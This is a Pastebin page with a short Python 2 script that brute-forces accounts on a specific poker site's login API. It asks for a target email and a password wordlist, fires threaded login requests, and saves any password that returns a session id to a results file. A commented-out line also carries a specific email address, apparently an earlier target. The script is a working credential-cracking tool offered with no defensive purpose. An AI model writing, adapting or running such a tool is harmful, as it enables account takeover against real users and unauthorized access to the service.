Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #coding=utf-8
- import requests,sys
- from multiprocessing.pool import ThreadPool
- class main:
- def __init__(self):
- self.cracks=0
- self.found=0
- self.a="http://geaxpoker.com/api/login.json"
- self.e()
- def e(self):
- #self.email="mrskltnv@gmail.com"
- self.email=raw_input("Email: ")
- if self.email=="":
- self.e()
- else:
- self.wlist()
- def wlist(self):
- try:
- #self.w=open("wlist.lst").read().splitlines()
- self.w=open(raw_input("Password: ")).read().splitlines()
- if len(self.w)==0:
- print("file kosong.")
- self.wlist()
- except Exception as e:
- print("error: %s"%e)
- self.wlist()
- self.thr()
- def thr(self):
- try:
- #self.t=ThreadPool(1)
- self.t=ThreadPool(input("Thread: "))
- except Exception as e:
- print("!: %s"%e)
- self.thr()
- self.t.map(self.crack,self.w)
- if self.found==0:
- print "no result found."
- def crack(self,u):
- try:
- r=requests.post(self.a,
- data={"device":"-1",
- "width":"320","version":"1.0","user":self.email,"pw":u}).json()
- if "sessid" in r.keys():
- self.found+=1
- res="\nPASSWORD FOUND: %s & Password: %s"%(self.email,u)
- open("result.txt","a+").write(res+"\n")
- print res
- print "result: result.txt"
- raw_input()
- else:
- self.cracks+=1
- print("\rCracking: %s/%s"%(self.cracks,len(self.w))),;sys.stdout.flush()
- except:
- self.crack(u)
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement